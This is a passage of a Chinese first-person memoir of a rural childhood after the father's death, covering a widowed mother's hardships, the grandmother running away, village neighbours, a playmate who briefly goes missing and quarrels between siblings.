过了阵子,我妈妈说:“我得找恁几个大爷,帮忙把咱门西旁儿的几块大石头,给背到家里去。要不时间长了,别被人家给偷走了。我那时候让恁爸爸驮进来,他不驮,这回他死了,可给我落下负担了。” 那天一大早,我还在睡梦中,就被我妈妈刮锅底的声音吵醒了。院子里,我妈妈举着铁锨头在刮锅底了。她把铁锅倒扣在天井里,她站在旁边,拿着铁锨认真地刮着,铁锅底上刮下来很多黑黑的锅灰。我妈妈刮完锅灰把铁锅拿走,放在锅框子上,地上留下了一个圆圆的黑圈。 我说:“妈妈,你刮锅底干嘛啊,我都被你吵醒了。” 我妈妈说:“刮刮锅底,饭熟的快,省柴禾。” 我妈妈先去挨家喊了姓宋的那些叔叔大爷,再回家烧锅。 我看我妈妈又是刮锅底,又是烧锅,好像她要烧饭给那几个叔叔大爷吃一样。可是,我家确实没有一点儿荤腥啊。我家根本就没有一把青菜,也没有一个馒头啊。 不一会儿,来帮忙的几个叔叔大爷都来了。家业大爷、家富大爷、家船三叔,他们都来了。他们都住在北荆堂,离我家比较近。 他们来了以后,就闷声不吭地帮我家驮石头。 我看着那几个叔叔大爷,他们有的穿着黑色的褂子,有的穿着蓝色的中山装,一个个都是大高个儿,干干净净,清清秀秀,稳稳当当,眼神儿跟我爸爸的眼神儿很像,都是很内敛很沉稳的,都是一个是贼眉鼠眼的。 他们不怎么说话,沉默着,一块块地把那些大石头全都驮进了我家,放在我爸爸没有完工的东屋框子里。那些石头方方正正的,一块足足有四五十斤重。 “恁还搁俺家吃饭吧?大哥?”我妈妈跟那些叔叔大爷客气着说。 “不了,大妹妹。你带着几个小孩儿吃饭吧。”他们回绝了我妈妈,一个个全走了,全回自己家吃饭去了。 我看着我那些可敬的叔叔大爷走了,心里倒是有些失落。我巴不得他们多在我家停留一会儿呢。我们的家太冷清了,我的内心深处,太渴望我的爸爸了。我看到了他们,就想到了我爸爸。我多想让他们在我家里多停留一会儿啊。 我说:“妈妈,俺大爷都不在咱家吃饭?” 我妈妈烧着锅说:“恁大爷是给咱家省饭的。他们不在这儿吃就不吃吧。你小孩儿,别管这些事儿。谁让恁爸爸不争气的,人家都不死。就他死的?” 我知道,我妈妈也知道,在我的那些叔叔大爷的心目中,我的爸爸死了,他们帮我家出点力是应该的,断没有等着在我家吃饭的道理。再说了,最关键的是,据我所知,我妈妈那天烧的还是玉米汤,她根本就没有烧什么好饭菜,她好像知道人家根本不会在我家吃饭一样。 不久后的一天,我妈妈去家业大娘家里推磨。我放了学,去找我妈妈。家业大娘堂屋的桌子上,摆了一桌子的菜。 家业大娘看我来了,跟我说:“你去吃吧,大省儿。俺都吃完了。” 我不好意思,我说:“我不吃,大娘!” 我妈妈在天井里推着磨说:“恁大娘让你去吃,你去吃去吧。” 我像是得到了准允一样,壮着胆子走到了大娘堂屋里那张饭桌旁。他们都吃完走了,屋里只剩下我一个人。毕竟不是我家的饭菜,我拿起筷子,夹起一个盘子里头的不知道是什么菜吃了一口。那些盘子里,几乎都是一样的酱油和醋的混合,我看不到里头具体的是什么。 我听到天井里我妈妈在跟家业大娘说话:“是的,大嫂子。”我知道我妈妈跟大娘之间还有一些同样是宋家门儿的亲香。可是我不能肆意地吃下去,我就这样几乎是象征性地吃了几口就从屋里出来了。 6.我奶奶跑了 我跟我妈妈说,我要带我弟弟去上学。我妈妈还有些犹豫,可是我弟弟很是想去。 那天早上,我弟弟穿着我三叔给他买的蓝色的衣裳,戴着一顶橙色的高高的毛线帽子,跟我一起走在北荆堂家东的路上。那样的颜色搭配地很时髦很温暖,像是我们的《寒假作业》封面上的孩子的装扮。一大早,遍地绿色的麦苗儿贴在地上,上头还有一层白白的霜。我弟弟一蹦一跳地在我前头走着。 路上,我们唱起妈妈教我们的歌:“毛主席的书,我们最爱读,千遍呀万遍呀下功夫。好像那麦地里,下了几尺雨,小麦子盖上了雨水珠。毛主席语录,滋养了我呀啊,干起革命尽头足!” “我参加解放军,穿上绿军装,走进红色学校,扛起革命枪。鲜红领章两边挂,五星帽徽闪金光。紧跟领袖毛主席,指引我们向前进。忠于人民忠于党,保卫祖国站好岗!保卫祖国站好岗!” 我们到了学校,我的小同学们都很欢迎我弟弟的到来。班级里突然有一个陌生的面孔,还是一个小一点的儿童,同学们也觉得稀奇和欢喜。不知道是出于天生的热心,还是出于对我家的同情心,大家纷纷给我弟弟贡献上他们的零食和玩具。我弟弟很快就收获了一大堆好吃的、好玩的。 我弟弟那时候已经可以上学了,可是因为我家穷的原因,我妈妈还没有给他上学。我们上课的时候,我弟弟就乖乖地坐在我胳膊左边靠墙的地方。小孩子终究是坐不住的,他把人家给他的一串白色的小珠子挂在课桌中间的小柱子上,“咯嗒嗒咯嗒嗒”地拉起来。我赶紧跟他说:“小弟,别拉了。人家都在上课呢。”我弟弟很听话地安静了下来。 对于带着弟弟去学校这件事儿,等我长大后才有了自己的理解。因为我家的孩子太缺爱了。没有爸爸,没有奶奶,没有亲朋故旧,姥姥不疼,舅舅不爱。所以,我在内心深处想“走出去”,把我的同学的短暂的陌生的爱给“引进来”。我们需要关怀,我的弟弟需要关爱。 一个下午,放学的时候,我走在大沟头的高岗上。北荆堂的大峰和冬花他们,跟一伙儿男孩子、女孩子走在我身后。他们走着走着,就跑到大沟头下头的土坡上玩。 突然,我听到他们说:“土狗蛇,土狗蛇。”原来是他们在那个土坡上看到了土狗蛇了。 “土狗蛇”这个词在我的记忆里并不新鲜。我爷爷奶奶骂人,就爱骂人“土狗蛇”。土狗蛇是一种黄土色的蛇,有毒。我二姑的老婆婆,我爷爷就骂她“土狗蛇”。 二姑的老婆婆就在我爷爷家左前方,距离我爷爷家不远,隔着几户人家。她有三个儿子。三个儿子在南北荆堂混地都还不错,李家在北荆堂又是大户。所以,每次二姑的老婆婆出来,都是高昂着头,一身黑色的老棉袄、老棉裤,穿戴地干干净净、板板正正。李大奶奶不知道是得了病,还是因为骄傲,每次看到她,她都是挺肚昂头,头和肚子都对着天,两瓣厚嘴唇往外嘟着,慢慢地踱着,走着,像个地主婆。李大爷爷倒是不那么昂着头,他总是客客气气,笑嘻嘻地。他们两个总是一起出现,像两只不散群的老鹅。 我爷爷远远地看见了他们,就说:“土狗蛇!土狗蛇来了。” 老娄奶奶坐在家门口儿看见了他们,跟他们打招呼:“他大哥、他大嫂子,吃完饭了?过来坐坐。” 我也连忙喊他们:“大爷爷!大奶奶!”他们答应一声,就一个昂头挺肚,一个笑嘻嘻地停下来,跟老娄奶奶说说话。 “他大哥,他大嫂子,恁家她大姐家的小孩儿找到了吗?”老娄奶奶问。 “他爸爸跟他三叔还在找的。大婶子。”李大奶奶说。 “你说说,还是他三叔的仁兄弟呢。怎么能干这事儿的?找不到孩子,她大姐可怎么过的?天天。”老娄奶奶说。 “谁知道他能干这种事儿。他说他带小孩儿去买东西的。一转眼儿,他就把小孩儿给拐跑了。他三叔后来找不到小孩儿就报案了。当时,那些大路小路上就设了卡子了。他家人撒开人马找啊,就是找不到。你能怎么办?”大奶奶说。 “你说急人吧。好好地一个小孩儿找不到了,大人焦心的慌吧。”老娄奶奶说,“那小孩儿跟大省差不多大吧,这都几年了?得长大变样儿了。不知道他自己还记得小时候的事儿吧。” “上回他爸爸去北山里找,搁人家河沿里看到一个小孩儿像他,正跟一群小孩儿一块玩儿的。他爸爸喊‘帅帅’!‘帅帅’!他还回头儿看看。还有点小时候那个模样儿。就是不知道到底是不是他。” “你说说,多大一个小子孩子。要是给人家了,可惜吧。要是能赶紧地找到就好了。”老娄奶奶说。 “是的,大婶子,谁都巴望他能赶紧找到。”李大奶奶说。 有一个早上,我爷爷来到我家大门口儿。我赶紧去开门儿。 “恁奶奶昨晚上来了吗?”我爷爷站在我家大门外,一手扶着门框,一手推着我家的大门问我。 “没有啊?”我说。 我妈妈抱着我妹妹也走到大门口儿。 “爹!恁来了?恁家来坐坐?”我妈妈跟我爷爷说。 “我不进去了。恁嫂子,恁娘昨天晚上没来吗?”我爷爷问我妈妈。 “没有啊,爹。俺娘没来。她昨天没搁恁家吗?”我妈妈说。 “恁娘走喽!”我爷爷一脸落寞地说,“人家都说咱家是四条狗,我跟恁娘都是属狗的,你跟喜儿又都是属狗的。狗咬狗。这回好了,四条狗去了两个。” 我奶奶走不走,跟我们关系不大,我可没什么感觉。 我爷爷知道我们并不关心我奶奶如何如何,但他还是继续说:“我前天去新庄给人锻磨去了。回来一看,恁娘不搁家。我还当是她上恁这儿来了。” “没有,爹,俺娘没来。”我妈妈说。 “我昨天回到家一看就不对头。那对儿新椅子没有了。她这是打墙头上递给东院儿的了。那对旧椅子也没有了。她这是打墙头上递给西院儿的了。这是有人接应她。这些东西她带不走,最后都得弄到‘小烦儿’家去。她这是跟福伦一块儿去了东北了。”我爷爷说。 “俺不知道哦,爹。你不行,再到旁处找找。看看俺娘搁旁人家来吧。”我妈妈说。 我奶奶走了,连几个像样的小椅子都拐带跑了。我爷爷家里只剩下几个木墩子,和旧的坐床子,我们三个去爷爷家吃饭,连坐的座位儿都不够了。我奶奶就这样成功“越狱”了。 我奶奶走了,我爷爷形单影只了。他是不甘心的,他开始了他的寻妻之旅。他去不了东北,他就在近处找。我爷爷到处寻我奶奶,算命、占课,听人家的话,把我奶奶的旧鞋头子对着床放着,也没有把奶奶招回来。 晚上,妈妈带着我们睡觉。因为爸爸不在了,我家又住在庄西头儿,旁边没有几家近邻。妈妈把大门、堂屋门的门框都用铁丝拧上。每次睡觉前,妈妈总是格外小心地挂上大门链子,用顶门杠顶上。两扇堂屋门更是好好栓上门栓,再用五六根木头杠子把门顶上。每当这时,我都站在一边儿,看着我妈妈小心翼翼地顶门。 外面,天已经黑了。 我跟我妈妈说:“妈,我一到晚上就怕鬼。” 我妈妈说:“俺不怕鬼。鬼不可怕,人可怕。人比鬼可怕。” 我家屋门儿东旁的墙上,有一个小龛,那上头站着一尊石膏塑的观音。我妈妈顶好门以后,就对着观音念念叨叨地说:“天灵灵,地灵灵,离地三尺有神灵。观音菩萨保佑,谁想害俺娘几个,让他咔嚓就死。” 我也跟着我妈妈一起看着那高台上的观音,看着她庄严的白色塑身,相信观世音菩萨会保佑我们。 事实上,观音菩萨确实保佑了我们娘四个。这么多年,我们姐弟三个靠着我妈妈一个人养大,我妈妈没有倒下,我们也没有什么灾殃。尽管我们以后的人生并不出彩,各自在各自的生存圈子里挣扎。可是,尽管如此,我们依然得感谢观世音菩萨的伟大。她没有让我们在失去父亲的同时再失去母亲,她没有让我们在承受贫苦的同时,再承受更加难以承受的不幸。我们还是吃饱穿暖,健健康康地活着。我们还能上学,这些,不得不说,的确是观世音菩萨佑护的结果。我不信神,也不信佛,可是我爱观音。我爱她庄严的容貌,也爱她慈悲的心肠。 有时候,我作业没有完成,我妈妈带着弟弟妹妹先睡觉,我一个人坐在窗户下写作业。我妈妈怕夜里灯光招来贼人,就让我把秫秸做的圆圆的大盖亭子拿过来,挡在窗户上。她一边抱着大盖亭子往窗户上放,一边抱怨:“你白天怎么不写完的?晚上再点灯熬油的。费这个事。你以后白天写完!” 我妈妈搂着我妹妹睡觉,我跟我弟弟睡在一头儿。我妹妹还小,爱蹬被子。我常常听到我妈妈跟她说:“别蹬被,肚脐眼子盖好!再蹬把你冻着!” 夜里,我们哪个想尿尿了,就喊我妈妈:“妈妈,我要尿尿!” 我妈妈就回答说:“你要尿尿啊!我点灯哈!”我妈妈起来点起洋油灯,把床底下儿的尿罐子递给我们,我们披着被子就在床上尿尿。尿完了,再把尿罐子递给我妈妈,我妈妈把它放到床底下。 另一个要拉屎了,就跟我妈妈说:“妈妈。我想拉屎!” 我妈妈就说:“你想拉屎啊?门后头有锨,你张着拉吧!我白天锄走!”我们就自己去铁锨头上拉了屎,然后回去继续睡觉。 夜里,房前屋后响起夜猫子的叫声。夜猫子叫地很瘆人,“咕咕咕咕,哇——!”“咕咕咕咕,哇——!”有点像是人的叫声,具体的说,像是小孩儿的叫声。半夜三更的时候,听到几声夜猫子叫,外面黑沉沉的村庄变得更加怕人了。 我很害怕夜猫子的叫声。它每叫一声,我的心里都一紧。我知道那夜猫子在我家房前屋后盘旋。我也知道那夜猫子是从庄西头石塱那里,从我老爷爷的坟地里的槐树上,飞过来,又飞过去。 我妈妈说:“不怕夜猫子叫,就怕夜猫子笑。夜猫子笑,要死人的。”如此说来,那夜猫子也不是什么好鸟了,它应该是一种有邪性的鸟了。 有时候,我真的能够听到几声夜猫子笑。夜猫子笑的声音,跟它的叫声完全不同。这时候,它的声音不再是咕咕咕咕哇了。那种声音我描述不出来。但是,我的确听到过夜猫子笑。这说明什么?说明我要死了吗?还是我的身边有人要死了?可不能是我妈妈要死了。 我问妈妈:“夜猫子笑,真是要死人吗?” 我妈妈说:“也不一定。有的时候,夜猫子看到人笑,反而是好事。有一个人,他在地里剜地。一只夜猫子冲着他笑起来。那人觉得晦气,就拾起他脱在地里的一只鞋头子,朝夜猫子扔过去。夜猫子噗啦一声儿飞走了,从他的鞋窠塱里掉出来一条蛇。原来,是蛇钻到了他的鞋窠塱里了。夜猫子冲着他笑,倒是救了他一命。” 如此说来,说夜猫子冲着谁笑,就说明那个人要死了,也未必是真的。 9. “我去恁爸爸坟子上哭了一场” 1 .换换 我爸爸去世的时候,题法老爷爷——一个远房的耄耋老人,拿了一刀火纸来祭奠我爸爸,这是对我爸爸忠厚老实人品的高度认可。本以为我家从此与老人家再无交集。却因为一个人的到来,题法老爷爷再次来到我们门可罗雀的家。那是因为可典爷爷。 家军死了,这个消息不知道是怎样传到了南乡,小鲁村的人都知道了。可典爷爷闻听噩耗,不远百里,坐车辗转前来。可典爷爷年纪大了,他裹着军大衣,还是咳嗽不断。我妈妈自然要炒菜招待,请人相陪,喝酒谈天。我妈妈嫌我爷爷不会说话,就请了题法老爷爷来作陪。 我放学回到家,看见题法老爷爷陪着可典爷爷在吃饭。两盘子菜就放在我家屋门外头的石台子上。一盘红红的干辣椒子煎黄黄的鸡蛋,一盘切地方方的白白的猪肉。我家没有酱油醋,我妈也不大会炒菜。 题法老爷爷陪着可典爷爷喝酒。席间,说起我爸妈在南乡的时候,可典爷爷多有照顾。题法老爷爷双手抱拳,一次次沉沉稳稳、深情款款地,向可典爷爷鞠躬道情,嘴里说着“蒙情不尽!”这种接待贵宾的事儿,也是多亏了题法儿老爷爷来。要是请我爷爷来,他估计喝上几盅小酒,就忘乎所以,开始又唱又念、又哭又笑,喝倒喝晕,不省人事了。 我家请人吃完饭,剩的几片肉,我妈妈挑了几块儿给我们小孩子吃,再挑了几块子,让我们端着送给我爷爷,她自己一口舍不得吃。 我们端着盘子到了我爷爷家。 我爷爷看了看盘子,瞌醒着脸说:“恁妈把人吃剩下的给我了,都没有几块肉了。” 我们回到家,把我爷爷的话跟我妈妈说了。 我妈妈说:“这个老东西,真是不知道好歹。猪肉还是恁题法老爷爷出钱买的。咱家哪买得起肉啊?我自己都没舍得吃,端给他吃,他还不满足。早知道这样,我连剩菜都不让恁姊妹仨端给他。” 我说:“俺爷爷肯定生气了。你没让他陪着俺可典爷爷一块儿大吃二喝。” 我妈妈说:“恁可典爷爷共总来一回,哪能让恁爷爷来陪啊。恁爷爷是个酒鬼。喝上两盅子酒,就不知道自己姓谁了。恁题法老爷爷多有人样。” 张庄的表大爷又找了一个新大娘,小日子过得乐乐呵呵。 有一天,我放学以后,我爷爷笑笑地跟我说:“今天,张庄的恁表大爷,带着恁新大娘来了。跟我说说话儿又走了。恁新大娘还喊我姑夫。恁表大爷嘴歪了,吊邪风,没看好。” 我当时不知道表大爷为什么带着他的新老伴儿来我爷爷家。不过,我那时候就知道,大概是旧大娘去的早,新大娘来的巧,表大爷一时春风得意,带着新大娘四处巡游,走着走着,不知不觉间就到了我爷爷大门口儿。至于为什么就到了我爷爷家呢,大概是因为在张庄,一个鳏夫新丧不久,又新娶了已老徐娘,毕竟不够冠冕堂皇,所以就跑到我爷爷家来炫耀了。 毕竟我爷爷的老伴儿跑了。毕竟我爷爷不是什么工人。所以,我爷爷面对表大爷的成双入队,也就只有望洋兴叹的份儿。 后来,庄上来了丽娜和她的妹妹换换。丽娜本不是我们荆堂的人,她跟她妹妹换换、弟弟阳阳,都不是荆堂的。她们家离我们这里并不近,她爸爸原来是工人,因病去世了。她的继父跟她爸爸是工友,人家就把她妈妈介绍给了她的继父。 她妈妈来我们荆堂,跟她继父结婚的那天,我去看了。她妈妈是一个很洋气很漂亮的女人,不怎么说话。那天,只有丽娜的妈妈一个人来了,丽娜她们没有来。丽娜的继父已经快四十了,人长得白净秀气,因为他早年丧父,母亲一个人拉扯他们弟兄两个,娶不起媳妇儿,把婚姻给耽误了。 她们结婚不久,丽娜她们姐弟三个就来到了我们庄。我跟她们一碰面儿,就成了很好的玩伴儿。她们是姐弟三个,我们也是姐弟三个。丽娜是老大,她是单眼皮,皮肤不是很白,有一些小麦色,显得文静又洋气。据说,战海大叔看她漂亮,要跟她家定个娃娃亲。老二是换换,有着红彤彤的脸蛋儿,显得机灵可爱,老三是阳阳,不怎么说话。我们白天一起去上学,放学回家一起玩耍。丽娜她们姐妹穿的衣裳都很好看,是她大姨家给的。她们踢毽子的动作也很好看,我都喜欢。我们一起玩,没有什么冲突,她们姐妹也不耍什么鬼心眼儿。 丽娜爱唱歌,我跟着她学了好几首歌。 “八月十五月儿明呀,爷爷给我打月饼呀。月饼圆圆甜又香呀,爷爷是个老红军呀!” “你看那边有一朵,小小花蝴蝶,我轻轻地走过去,弯腰捉住它。为什么蝴蝶不说话,为什么蝴蝶不说话,原来它是一朵小小的蝴蝶花。” “小金鱼呢,眼睛大呢,游来游去不说话呀。看见一只小鱼虫,噢一口吃掉它,欢欢喜喜抿住了小嘴巴。” “公鸡母鸡会唱歌,鸡蛋鸭蛋是宝宝。咕哒咕哒咕咕哒!” 那时候,晚上放《新白娘子传奇》。我吃过晚饭就先到她们家等她们,等她们吃完饭了,再一起到她家后头的东善大爷爷家里,去看电视。我们来到东善家里,跟他和大奶奶打个招呼,就坐下来看电视。《新白娘子传奇》放到很晚,等到电视结束,我们赶回家的时候,已是深更半夜了。丽娜她们家很近,就在东善大爷爷家前头,她们回家方便。而我,还要穿过人们在那举行“路祭”的庄里。我一个走在庄里的大街上,想想电视里的黑白无常,心里真是毛毛的。可白娘子是那样温婉可亲,小青是那样可爱动人,又让人心里暖暖的。我们晚上看电视,白天上学一路谈论着,盼望着晚上赶紧再去接着看。 学校里,同学们也在议论着《新白娘子传奇》。我不知道在哪里得到的钱,一口气买了好几张《新白娘子传奇》的贴画。我把那些贴画一张张地贴在我的书上,我看着白娘子和小青,仿佛她们就在我身边一样。 “我可喜欢白娘子了。”我说。 “白娘子是赵雅芝扮演的。”张益华黑黑的站在我的面前说。她总是比别人知道的多。 “白娘子唱歌也好听。”我说。 “赵雅芝是舞台歌手。”张益华说。 我第一次知道“舞台歌手”这个词,更觉得张益华见多识广了。 “张益华的妈妈也是舞台歌手。她妈妈跟着喇叭匠子唱唱儿。”旁边的一个小姑娘说。 我对张益华更加佩服了。 有一次,看完电视回家,我就跟丽娜、换换各自回家睡觉。我回到爷爷家睡着了,昏睡间听到有人叫我的名字,我半睡半醒,以为是在做梦,可是醒醒困儿,定定心神,居然真的是丽娜的妈妈在大门外叫我呢。 她问地很急,声音很大:“大省,换换到恁家来了吗?” 我来不及起床,隔着窗户就急忙回话。我拉长声音说:“没有!” 丽娜的妈妈哭着说:“换换没回家。换换找不到了!我到东头儿大井里去找找去。换换要是死了,我也不活了!”我心里很难过也很着急,可是我又能怎么办,深更半夜,我一个小女孩也是害怕。晚上看电视看得太困了,我一边难过,一边又癔癔症症地睡着了。 我在睡梦中想着我的像青儿一样可亲可爱的小伙伴,神经质地大喊一声:“换换——” 第二天上学,看到换换,她被找到了,她又安然无恙地跟我们一起上学去了。原来,她看完电视太困了,从东善大爷爷家出来,走着走着,看到路边有一个麦瓤垛,她就拱到麦瓤垛里睡着了。看着失而复得的小伙伴,我越发喜欢她、珍惜她。 有一回,在丽娜家前头,在大虎子家的屋后头,吕二的儿子、小娟的弟弟,跟丽娜打起来了。丽娜当然打不过他。他把丽娜推倒,骑在她的身上:“唯唯!”他笑着,鼻子上挂着鼻涕,嘴里发出他从他父母那里听来的声音。当时,丽娜躺在地上,在他的屁股底下挣扎着,我们几个小孩子站在一旁干看着,一时不知怎么救援。最后,还是丽娜挣扎着站了起来。吕二的儿子比吕二白一点,眼睛比他大一点。吕二的儿子是个让人恶心的流氓。我在心里记下了。 后来,丽娜的妈妈又给丽娜的继父生了一个小弟弟,名字叫赛赛。 丽娜的妈妈长得很洋气,皮肤也白,也会打扮。一个出生不久的小赛赛,抱在她怀里。她还是头发干净整齐,脸上涂地粉白,很洋气,像个城里人,不像庄里的那些老娘们儿。有一次,我去她家玩,她抱着孩子,她们后院大源的爸爸刘二恰好也去她家。刘二嬉皮笑脸的对她说:“腚帮子每天都抹地煞白!”她笑嘻嘻的,没有言语。 过些日子,丽娜的爸爸回家了,他一边切着一大把儿老豆橛子,一边嗔怒地数落着她:“在家里跟修仙似的!”她抱着孩子靠着门框坐着,边哭边回应几句,说着自己的委屈。 丽娜的妈妈年轻丧夫,拖着三个孩子,跟我妈妈很像,丽娜的爸爸斯文白净,老实忠厚,跟我爸爸很像。不同的是,丽娜的爸爸上班,家里比我家里像样儿的多。她们家里是崭新的瓦房。我喜欢去她们家里玩。丽娜爱在大锅里倒些油,然后倒些面糊糊,煎面饼子吃。这些也像是我家爱做的事。 丽娜的奶奶也是早年丧夫,一个人拉扯两个儿子。如今大儿子成家,她和小儿子一起过。她很能干,推装地沉沉的小推车,挑重重的担子,干起体力活儿顶个男人。但是她的小儿子,祥,却是个好吃懒做不成器的。为此,我们常听到她对小儿子的打骂声。她的声音很粗,哑哑的,粗粗的,像个老爷们儿。 一个冬天的早晨,下霜了,我们去上学,地里白茫茫的。丽娜的奶奶和祥,她们娘俩儿在地里收白菜呢。不知道她的小儿子又干了什么事儿惹恼了她,她举着大棍子又朝她儿子挥舞着叫骂。祥,到了婚假的年纪,没有新房,没有本事成家。祥的娘也年近六十了。 后来听说,她改嫁了。这成了村里的一大新闻。祥的娘独自抚养了他们兄弟俩,一个人吃苦耐劳,当爹又当妈。没想到,她都六十了,大儿子都给她有了孙子了,她一个老嫲嫲还想着要改嫁。 听说,丽娜的妈妈觉得丢脸,一气之下告到战海大叔那里,战海大叔把丽娜的奶奶叫去给狠狠地揍了一顿。这个消息不知道是真是假。丽娜的妈妈本身也是守寡改嫁,她为什么要阻止她老婆婆改嫁呢? 不过,丽娜的奶奶还是改嫁了。这个消息确实是真的。对方还是个很有钱的老头子,子女也不少。 “祥的娘是真能干!老头子家里恁么多亩地,都被祥的娘一个人给耪了。恁么长的一杆锄头,祥的娘发出去,拉回来,那一垄豆子一棵草都没有了!人家都说,这老头儿有眼光,这哪里是找个老嫲嫲啊,这是找了个老做活儿的!”这是人家传来的原话。 但是祥仍是不省心。据说清明节,那个老头儿给了他二百块钱,他就拿着离家出走,要周游世界去也。 后来,丽娜的爸爸要把她们娘五个带走了,带到他上班的地方。我跟丽娜、换换的短暂友情就这样匆匆结束了。我很想念丽娜她们。我常常想,丽娜一定过得很好,至少过得比我好。她跟白娘子一样,是一个难得的端庄得体,又很正派的女孩子,她一定是穿着漂亮得体的衣裳和鞋子,上学、下学,玩游戏,坐在院子里写作业。 2. 酒肉穿肠过,不吃在如何! 我跟我弟弟经常打架。一个夏天,我跟弟弟在我家里玩。我想着人家给我们的两双紫色绒布的棉鞋,样式很好看,就从衣裳袋子里把那两双棉鞋给找出来,倒在屋当门里,拿着看。谁知道,我弟弟把那棉鞋穿在脚上,还系上了鞋带子。 我跟弟弟说:“现在是夏天,不能穿棉鞋。快脱下来!” 我弟弟不听。 我说:“快脱下来啊!哪有大夏天穿棉鞋的啊?” 我弟弟说:“你管我呢!我就穿!” 我说:“不行!不能穿,快点脱下来,你的脚上淌汗!棉鞋沾了汗,到冬天光长毛!”我说着,就去脱我弟弟的棉鞋。 我弟弟不让我脱,跟我打了起来。我弟弟拿起我家的刀就要砍我。我吓得抬腿往我爷爷家跑去。我弟弟穿着棉鞋拼命地追赶。 我一口气跑到了我爷爷家。我爷爷站在天井里,我躲在我爷爷身后。我弟弟拎起我爷爷家的木墩子就往我身上夯。木墩子上有个铁环儿。我爷爷劈手把那个木墩子抢在手里,扔到地上说:“你就拿那个木墩子打恁大姐啊!小大省儿也是的,天天高高尖尖地跟他搁架!” 我听了爷爷的话,有点想停战,可是我弟弟丝毫没有熄火的意思。我弟弟挣扎着,从我爷爷的手里挣脱出来,拎着木墩子朝我身上砸来,我反身躲过他的木墩子,拿起水缸上的水瓢朝他泼去。水瓢里还有碗把儿水,那水泼了我弟弟一脸。我弟弟抄起竖在墙根的木锨朝我追过来,我连忙跑到了爷爷的小屋里,把屋门关上。 我弟弟的木锨从窗户里伸进来,我感到巨大的威胁,慌乱中抓了一把袋子里的麦麸朝我弟弟的头上撒去。那麦麸像是一层黑泥,糊在他的脸上,使他看起来更加邪恶可怕。 我弟弟呼地推开了屋门,我看着他恐怖的脸,逃跑不及,吓地抱头尖叫:“啊!” 我弟弟看着我惊恐的样子,忽然笑了。 我跟我弟弟两国纷争不断,我妹妹是中立国,从不参战。 我妹妹那时候刚开始会说话,她说话还不是很清楚,经常跟我们说:“我想吃皮果,我想吃皮萄。”我妹妹是想吃苹果想吃葡萄了。可是我们家没有钱,夏天,我们连西红柿、黄瓜都很少能吃上。哪里还能吃上苹果、葡萄呢。 夏天的大街上,晒满了金黄色的麦秸。我弟弟跟大龙一起抬起我几岁的小妹妹朝着那些麦秸走去,到了那堆麦秸堆上,他们“嗨哟”一声,一下子把我妹妹摔到了麦秸上。大龙高兴地哈哈大笑。我幼小的妹妹又急又气,“哇”地一声,张着嘴哭起来。我跑过去抱起我妹妹,小小的婴童,紧闭着眼睛,嘴唇颤抖着,好像是被无形的无尽的悲伤给支撑着,半天没发出声音,停顿了好一会儿,才 “哇”地一声哭出来下一声儿,我知道这叫哭地差点背过气去。我愤怒地朝着我弟弟跟大龙大喊着:“恁怎么把她给摔下去了!以后谁也不准摔笑笑!” 回到家,我看我妈妈在我家天井里搓麻绳儿,我就跟我妈妈告状说:“妈!鸿雁跟大龙一块儿,把笑笑抬起来,摔到人家的麦瓤上去了。俺小妹‘哇’一声就哭了,哭地差点背过气去。” 我以为我妈妈会骂我弟弟,可是我妈妈笑盈盈地说:“鸿雁啊,下回可不能摔恁小妹哈。你别看她人小,脾气大。要是把她给气死喽,你就没有小妹了。” 我们几个有时候跟着我妈妈吃,有时候去我爷爷家蹭饭。 常常是我先去爷爷家里侦查,看到爷爷家有好吃的了,就返回家通风报信:“鸿雁!笑笑!快!走!到咱爷爷家去!咱爷爷包饺子了!”我弟弟妹妹紧接着就跟着我去爷爷家了。 我爷爷在堂屋里,正准备吃饺子呢,远远地看见我们跨进大门槛儿,就笑着说:“大部队来了!” 我妈妈不会寻思着做好吃的,她也没有什么多余的钱去买好吃的。我妈妈就知道干活养活我们。大夏天,她背着粪箕子去人家掰完玉米的玉米地里拾玉米。因为离家很远,她中午就不回家吃饭。我爷爷家那天包了饺子,我也想去给我妈妈送一碗。可是,我不能拿爷爷家的饺子送给她。 我就回到我家,拿了我妈妈蒸地硬硬的、黑黑的红高粱窝窝头,掰开了,里头给夹上一勺荤油,再去地里找她。我穿过北荆堂往北走,一直到了河北沿儿,在人家秫秸地里,找到了我妈妈,我把两个黑黑的窝头给她,自己再回家吃饭。 我妈妈有时候买上一捆子油条带回家,让我们吃,她自己不吃。她有时候也会用化肥袋子背回家一堆桃子,她让我们吃,她自己也不吃。我们也习惯了,她不吃,我们三个自己分着吃。不管是弟弟妹妹分,还是我去分,负责分东西的都是把最少的那一份留给自己。 我们吃的时候,我妈妈就坐在堂屋门前,倚着西边的门框,缝针线。 “能买不值,不买吃食。酒肉穿肠过,不吃在如何!”她低着头缝着针线说。 我妈妈不会做吃的,但她很会找吃的。夏天,枯死的棒头棍子上,长了一朵朵的木耳,有的黑黑亮亮,有的白白黄黄。我妈妈就把这些木耳从棒头子上采下来:“这些木耳,可是一盘子好菜。我爱吃木耳,我在东北的时候,可吃了木耳了。” 有一天,我妈妈吃完早饭就泡了一大盆的木耳,准备中午炒给我们吃。我妈妈泡好木耳,就在我家院子里铺了一大张塑料纸,她在上面做针线。我们围着我妈妈坐着。我爷爷推开大门来了。 我们一看是我爷爷,赶紧把我爷爷请到家。 我妈妈说:“爹,恁来了。恁坐吧,爹。” 我爷爷这回也没有要走的意思。他真地坐了下来,一副要跟我们一起坐一会儿的样子。 “恁嫂子,恁光看到我揍恁娘。恁都不知道是为的什么。”我爷爷说。 我们看得出来,我爷爷一副语重心长的样子,他是要跟我们说一说他的心里话了:“恁娘跟竹来相好。竹来到咱家大门口儿一晃,恁娘就接着出去了。她们都是到家东杨树行子里。我那回真是气急了。我拿起木墩子照着她的下身儿楔的。” 我妈妈说:“俺娘还是这样的人啊,俺不知道这些哦。俺娘能干这种事儿吗?” 我爷爷说:“怎么不能的?她们什么事儿干不上来啊。小二妮儿跟她男人跑了,我不认这门亲,小二妮儿就污蔑我。说我不是人。我能那样吗?”我爷爷沉着脸说。 “恁嫂子,恁是不知道。小二妮儿不是人。她跟她男人跑了,我不认亲,她就领着她婆家的人上俺门上来打俺。小二妮儿横横地走在头里。她婆家人把恁娘按在当天井里,骑在身上,拳打脚踢。那时候,喜儿弟兄几个还小来,也被她婆家的人按在地上打。”我爷爷说。 “那后来,俺娘他们怎么又跟俺二姐她婆家和好了的?”我妈妈说。 “恁娘这个人,难说难道的。她看到小二妮她婆家占贤,小二妮儿给她一点儿甜头,她的腿弯子就软了。”我爷爷说。 